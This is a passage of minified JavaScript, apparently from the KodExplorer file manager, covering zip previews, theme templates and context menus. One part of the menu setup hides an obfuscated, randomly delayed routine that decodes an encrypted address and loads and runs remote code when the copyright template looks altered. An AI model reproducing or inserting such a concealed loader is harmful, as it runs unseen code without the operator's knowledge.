inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),f(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(f(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t]) -}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},f=function(e){var t=u(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},u=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=u(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),f(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var t=".menufile",i=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfile",items:{newfile:{name:"txt "+LNG.file,icon:"file-text-alt x-item-file x-txt small",className:"newfile"},newfile_null:{name:LNG.file,icon:"file-text-alt x-item-file x-file small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-text-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-text-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-text-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-text-alt x-item-file x-docx",className:"newfile",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-text-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-text-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-text-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install newfile",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",className:"list_icon",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",className:"sort_by",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var t=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),w(),v(),setTimeout(function(){try{if(typeof dialog_tpl_html==t[0]||-1==dialog_tpl_html[t[2]](t[1])){var i=authCrypt[t[5]](t[3],t[4])+UUID();e[t[8]](i,function(e){try{e[t[7]](t[6])}catch(i){}})}}catch(a){}},1e3*parseInt(25*Math[t[9]]()+5)),N(),S(),j(),E(),P(),A(),O(),k(),g(),m(),_(),C(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),w(),N(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),D(),P(),A(),O(),F(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||$(".context-menu-list .zip").addClass(e),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||$(".context-menu-list .share").remove()}},m=function(){$('<i class="menuRecycleBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecyclePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuRecycleButton"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){z(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},_=function(){$('<i class="menuShareBody"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuSharePathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"<b>Del</b>",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"}}})},v=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){z(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){z(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"<b>Alt+M</b>",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"<b>Ctrl+U</b>",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},k=function(){$.contextMenu({zIndex:9999,selector:".toolPathMore",className:"menuToolPath menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;ca